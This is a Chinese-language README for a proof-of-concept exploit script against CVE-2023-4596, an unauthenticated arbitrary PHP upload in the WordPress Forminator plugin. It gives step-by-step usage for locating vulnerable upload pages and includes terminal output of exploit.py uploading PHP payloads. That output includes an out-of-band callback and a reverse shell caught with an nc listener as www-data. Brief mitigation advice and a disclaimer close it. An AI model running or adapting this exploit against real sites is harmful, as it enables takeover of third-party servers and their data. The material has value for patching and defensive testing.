CVE-2023-4596 的 PoC 脚本,通过任意文件上传实现未经认证的远程命令执行。
PoC 演示视频
Nuclei 模板
新闻报道
WordFence
NVD Nist
WordPress 插件 Forminator 中发现了一个严重漏洞,该漏洞允许未经授权的攻击者向服务器上传任意文件。最初的 PoC 写得比较粗糙,原始研究者只分享了几张不清晰的截图以及一个包含未说明代码的请求。因此,我编写了一个 Python 脚本,以简化并自动化整个过程。
该漏洞是由文件类型验证过程中的一个错误造成的。当尝试上传被禁止的文件格式(如 PHP)时,会生成一条警报,提示“不允许上传此类扩展名的文件”。尽管有该通知,上传的文件并不会被阻止,而是成功上传,并且可以在站点的“/wp-content/uploads”目录中访问。该漏洞可能导致远程代码执行。
Forminator 目前活跃在超过 40 万个站点上,而且该漏洞利用起来非常简单,因此很容易控制任何运行 Forminator 且启用了文件上传功能的站点。
找到一个运行 Forminator <= 1.24.6 且页面上带有上传功能的页面。复制使用 Forminator 处理文件上传 postdata 的页面的完整 URL;如果仅指定域名,脚本会输出一个错误。 你可以使用 interactsh 或 Burp Collaborator 生成一个链接,并将其粘贴到指定字段中。 上传成功后,5 秒内应会在 interactsh 或 burp 中出现一条请求,表明目标存在漏洞。
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
该脚本只需要一个启用了 Forminator 文件上传功能的页面的完整 URL,以及一个用于判断实例是否存在漏洞的 interactsh 链接。第一个请求会发送到该页面,以提取 forminator_nonce 和 form_id,这两个值在每个页面上都是不同的。获取这些值后,会发送第二个请求,利用这些提取到的值上传 PHP 文件。该 PHP 文件会使用用户之前提供的 interactsh 链接,并将其添加到脚本中。当有人访问该 PHP 脚本所在的页面时,interactsh 中会显示一条请求,表明该站点存在漏洞。 脚本使用正则表达式将 URL 拆分为后续请求中使用的各个部分,同时还用于确定 Forminator 的版本,该版本会在使用 -v 参数时打印出来。文件的上传位置取决于上传文件时所处的年份和月份。因此,我使用 datetime 来确定当前的月份和年份,这些信息之后也会用于向已上传文件的存放位置发送请求。 在测试该漏洞时,我使用的是单一文件名,但在上传多个文件后,我注意到只有第一个上传的文件会生效。为了解决这个问题,每个请求都会使用一个随机字符串。
[-] 无法提取 forminator_nonce
该漏洞利用脚本仅在提供启用了 Forminator 文件上传功能的精确页面链接时才有效。如果提供的链接只有域名,或者指向一个未运行文件上传功能的页面,脚本就会输出错误。这是因为脚本需要从提供的 URL 中导出 forminator_nonce,如果该页面没有运行 Forminator 或 Forminator 文件上传功能,它就找不到该值,也就无法使用它。你也可以通过在站点源代码中查找字符串 “forminator-field-post-image-postdata” 来进行验证。例如,完整链接的格式如下:http://127.0.0.1:8000/?p=7。完整的 issue 请参见此处。
我在仓库中包含了两个文件(checker.sh 和 checker.bat),用于检查当前文件夹及其子文件夹中是否存在扩展名被禁止的文件。一旦发现,这些文件就会被显示出来。编写该脚本的原因是,插件每安装一个月就会创建一个新文件夹,手动逐一检查所有文件夹会非常耗时。
更新到最新版本
http://127.0.0.1:8000所提供的脚本仅用于教育目的,我对您的行为概不负责。
Twitter
由 Finn van der Knaap 制作